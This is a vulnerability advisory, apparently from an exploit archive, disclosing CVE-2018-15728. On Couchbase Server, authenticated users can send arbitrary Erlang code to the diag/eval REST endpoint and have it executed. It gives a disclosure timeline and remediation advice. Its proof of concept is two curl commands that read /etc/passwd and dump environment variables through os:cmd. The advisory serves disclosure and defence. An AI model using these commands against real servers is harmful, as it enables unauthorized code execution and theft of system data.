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Couchbase Server Remote Code Execution

Couchbase Server Remote Code Execution
Posted Aug 24, 2018
Authored by Filip Palian

Couchbase Server allows for authenticated users to send arbitrary erlang code to diag/eval.

tags | exploit, arbitrary
MD5 | 1a112ea45d4e8f0f5bcf925e8e4587b6

Couchbase Server Remote Code Execution

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Hey,

Description:
Couchbase Server [1] exposes REST API [2] which by default is
available on TCP/8091 and/or TCP/18091.
Authenticated users can send arbitrary Erlang code to 'diag/eval'
endpoint of the API. The code will be subsequently executed in the
underlying operating system with privileges of the user which was used
to start Couchbase.
The 'diag/eval' endpoint was found to be referenced in the official
documentation [3][4][5], however, documentation doesn't contain any
information about the risks associated with allowing access to the
endpoint in question.
Unfortunately, I was not able to confirm which versions of Couchbase
are affected and whether 'diag/eval' endpoint is enabled by default.
You can use the PoC provided below in order to verify if your
installation is affected or not.

Proof of Concept:
1. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
-X POST -d 'case file:read_file("/etc/passwd") of {ok, B} ->
io:format("~p~n", [binary_to_term(B)]) end.'
2. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
-X POST -d 'os:cmd("env")'

Remediation:
Contact vendor for remediation guidance. Alternatively, restrict
access to the REST API and/or 'diag/eval' endpoint.

Timeline:
18.06.2018: Following vendor guidelines [6], the information about the
issue was sent to security@couchbase.com.
20.06.2018: Follow-up email was sent to the vendor to confirm receipt
of the original report.
21.08.2018: MDSec published advisory about the similar vulnerability
found in Apache CouchDB [7].
21.08.2018: CVE requested from MITRE.
22.08.2018: MITRE assigned CVE-2018-15728 for this issue.
23.08.2018: The advisory has been released.

References:
[1] https://www.couchbase.com/
[2] https://developer.couchbase.com/documentation/server/current/rest-api/rest-intro.html
[3] https://developer.couchbase.com/documentation/server/3.x/admin/Tasks/xdcr-modify-settings.html
[4] https://developer.couchbase.com/documentation/server/4.1/security/security-comm-encryption.html
[5] https://developer.couchbase.com/documentation/server/4.1/security/security-client-ssl.html
[6] https://www.couchbase.com/resources/security#VulnerabilityReporting
[7] https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/


Thanks,
Filip Palian

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